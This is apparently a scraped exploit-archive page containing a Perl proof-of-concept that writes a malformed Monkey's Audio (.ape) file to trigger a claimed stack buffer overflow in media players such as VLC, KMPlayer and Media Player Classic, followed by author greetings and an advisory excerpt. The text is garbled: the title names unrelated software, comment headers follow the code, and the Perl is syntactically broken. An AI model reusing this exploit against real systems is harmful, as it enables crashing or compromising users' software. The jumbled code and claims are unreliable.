"aSc TimeTables 2021.6.2 - Denial of Service (PoC)" my $ PoC = " \x4D\x41\x43\x20\x96\x0f\x00\x00\x34\x00\x00\x00\x18\x00\x00\x00 " # APE Header (16 bytes) open ( file, ">", "Kedans.ape" ) # Evil File APE (4.0 KB) print file $ PoC print " \n File successfully created! \n " or die print " \n OpsS! File is Not Created !! " close ( file ) #= # Special Greets to : HaCkerS-StreeT-Team # Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=>, #, # Greets All Bad Boys (cit? 1850 logts - HassiMessaouD - 30008 -Algeria ), # : TeX * KadaVra. all ) # - # File Home : () # Error's Detected : # Media Player Classic v6.4.9.1 > || By KedAns-Dz # JetAudio v5.1.5.2 > || By KedAns-Dz # KMPlayer 2.9.3 > || By KedAns-Dz # VLC media player v1.0.5 > || By KedAns-Dz # QuickTime Player ' Because Can not Read (APE) Files Format # RealPlayer ' Because Can not Read (APE) Files Format # - #START SYSTEM : system ( "title KedAns-Dz" ) system ( "color 1e" ) system ( "cls" ) print " \n\n " print " |=| \n " print " |= Name : Monkey's File Audio (.ape) All Players =| \n " print " |= Exploit : Stack Buffer Overflow =| \n " print " |= Author : KedAns-Dz =| \n " print " |= Mail: Ked-h(at)hotmail(dot)com =| \n " print " |=| \n " sleep ( 2 ) print " \n " # Creating. #!/usr/bin/perl # Title : Monkey's File Audio (All MPlayers) Buffer Overflow # Author : KedAns-Dz # E-mail : # Home : HMD/AM (30008/04300) - Algeria -(00213555248701) # Twitter page : /kedans # platform : Windows # Impact : Overflow & Crash's # Tested on : Windows XP SP3 Fran?ais # Target : All Media Players # Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz. Failed exploit attempts will result in a denial - of - service condition.
Successfully exploiting this issue allows attackers to execute arbitrary code in the context of the vulnerable application. Source : https : // com / bid / 46887 / info Monkeyâ ? s Audio is prone to a stack - based buffer - overflow vulnerability because the application fails to perform adequate boundary checks on user - supplied data.
0 kommentar(er)
